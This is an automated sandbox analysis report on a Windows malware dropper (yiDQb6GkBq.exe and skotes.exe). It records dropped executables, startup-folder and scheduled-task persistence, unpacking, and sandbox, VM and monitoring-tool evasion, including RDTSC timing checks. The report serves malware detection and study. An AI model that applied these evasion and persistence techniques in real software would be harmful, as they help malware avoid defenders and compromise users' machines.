Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Windows\SysWOW64\curl.exe

File written: C:\Users\user\AppData\Local\Temp\tmp.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: yiDQb6GkBq.exe

Static file information: File size 3189760 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: yiDQb6GkBq.exe

Static PE information: Raw size of wdogbkgr is bigger than: 0x100000 < 0x29ee00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Unpacked PE file: 0.2.yiDQb6GkBq.exe.680000.0.unpack :EW;.rsrc:W;.idata :W;wdogbkgr:EW;wdztlgdv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wdogbkgr:EW;wdztlgdv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.710000.0.unpack :EW;.rsrc:W;.idata :W;wdogbkgr:EW;wdztlgdv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wdogbkgr:EW;wdztlgdv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.710000.0.unpack :EW;.rsrc:W;.idata :W;wdogbkgr:EW;wdztlgdv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wdogbkgr:EW;wdztlgdv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.710000.0.unpack :EW;.rsrc:W;.idata :W;wdogbkgr:EW;wdztlgdv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wdogbkgr:EW;wdztlgdv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Unpacked PE file: 38.2.5799e5ec40.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.00cfg:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe

Unpacked PE file: 38.2.5799e5ec40.exe.400000.0.unpack

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: yiDQb6GkBq.exe	Static PE information: real checksum: 0x319322 should be: 0x30bd6f
Source: W4KLQf7[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x3c37a2
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1ece49 should be: 0x1ee6f7
Source: W4KLQf7.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x3c37a2
Source: 87538ab999.exe.6.dr	Static PE information: real checksum: 0x1ece49 should be: 0x1ee6f7
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x319322 should be: 0x30bd6f

Source: yiDQb6GkBq.exe	Static PE information: section name:
Source: yiDQb6GkBq.exe	Static PE information: section name: .idata
Source: yiDQb6GkBq.exe	Static PE information: section name: wdogbkgr
Source: yiDQb6GkBq.exe	Static PE information: section name: wdztlgdv
Source: yiDQb6GkBq.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: wdogbkgr
Source: skotes.exe.0.dr	Static PE information: section name: wdztlgdv
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: kknplrjh
Source: random[1].exe.6.dr	Static PE information: section name: opkpvwgr
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 87538ab999.exe.6.dr	Static PE information: section name:
Source: 87538ab999.exe.6.dr	Static PE information: section name: .idata
Source: 87538ab999.exe.6.dr	Static PE information: section name:
Source: 87538ab999.exe.6.dr	Static PE information: section name: kknplrjh
Source: 87538ab999.exe.6.dr	Static PE information: section name: opkpvwgr
Source: 87538ab999.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_0069D91C push ecx; ret	0_2_0069D92F
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_00691359 push es; ret	0_2_0069135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0072D91C push ecx; ret	1_2_0072D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0071BF36 push esi; iretd	1_2_0071BF38
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0072D91C push ecx; ret	2_2_0072D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0071BF38 push esi; iretd	2_2_0071BF39
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0072D91C push ecx; ret	6_2_0072D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0074DEDB push ss; iretd	6_2_0074DEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0072DFC6 push ecx; ret	6_2_0072DFD9
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A2306E push ecx; ret	7_2_00A23081
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00446061 push edx; retf	9_2_00446062
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043CA60 push eax; mov dword ptr [esp], 11102FFEh	9_2_0043CA63
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00445A2E push esi; ret	9_2_00445A31
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00442543 push esp; retf	9_2_00442549
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00439F70 push eax; mov dword ptr [esp], 60616263h	9_2_00439F7F
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A2306E push ecx; ret	9_2_00A23081

Source: yiDQb6GkBq.exe	Static PE information: section name: entropy: 7.174348089439528
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.174348089439528
Source: random[1].exe.6.dr	Static PE information: section name: kknplrjh entropy: 7.941550686830136
Source: 87538ab999.exe.6.dr	Static PE information: section name: kknplrjh entropy: 7.941550686830136

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\W4KLQf7[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\M5iFR20[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Jump to dropped file

Boot Survival

Drops PE files to the startup folder

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Window searched: window name: Regmonclass

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-12019
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-9692

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 5799e5ec40.exe, 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp

Binary or memory string: BABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/%HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 6EEDC6 second address: 6EEDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 85EE77 second address: 85EE87 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F33B10E1B06h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 85F000 second address: 85F006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 85F2C6 second address: 85F2CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 861B69 second address: 861B6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 861B6E second address: 861B74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 861B74 second address: 861B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F33B0B7C6DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 861DBD second address: 861DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 and dx, 35A6h 0x0000000e push 00000000h 0x00000010 push 481076F5h 0x00000015 jbe 00007F33B10E1B3Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F33B10E1B19h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 861DF3 second address: 861E4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 48107675h 0x00000010 sub cl, 00000052h 0x00000013 movzx esi, bx 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push 00000003h 0x0000001c mov si, EFD8h 0x00000020 xor edx, 398898F0h 0x00000026 call 00007F33B0B7C6C9h 0x0000002b jmp 00007F33B0B7C6D0h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push edi 0x00000034 push esi 0x00000035 pop esi 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 861E4B second address: 861E7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ecx 0x0000000e jg 00007F33B10E1B08h 0x00000014 pop ecx 0x00000015 mov eax, dword ptr [eax] 0x00000017 jng 00007F33B10E1B18h 0x0000001d push eax 0x0000001e push edx 0x0000001f jno 00007F33B10E1B06h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 861F24 second address: 861F28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 861FDF second address: 861FE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 861FE3 second address: 861FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8824D0 second address: 8824EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jne 00007F33B10E1B0Eh 0x0000000b push ecx 0x0000000c jg 00007F33B10E1B06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8827ED second address: 8827F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 882962 second address: 882966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 882966 second address: 882978 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F33B0B7C6CAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 882D9E second address: 882DA8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F33B10E1B0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 882EF0 second address: 882EFA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F33B0B7C6C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 88321D second address: 883221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 88380C second address: 883822 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33B0B7C6CCh 0x00000008 jns 00007F33B0B7C6C6h 0x0000000e js 00007F33B0B7C6CCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 88397E second address: 883983 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 883C14 second address: 883C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 883EC9 second address: 883EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B10E1B19h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 883EE6 second address: 883EEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 883EEA second address: 883EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 883EF3 second address: 883F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B0B7C6CDh 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 883F08 second address: 883F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F33B10E1B06h 0x0000000a popad 0x0000000b popad 0x0000000c push esi 0x0000000d jmp 00007F33B10E1B0Dh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 884D9B second address: 884DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 884DA7 second address: 884DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 88668D second address: 886691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
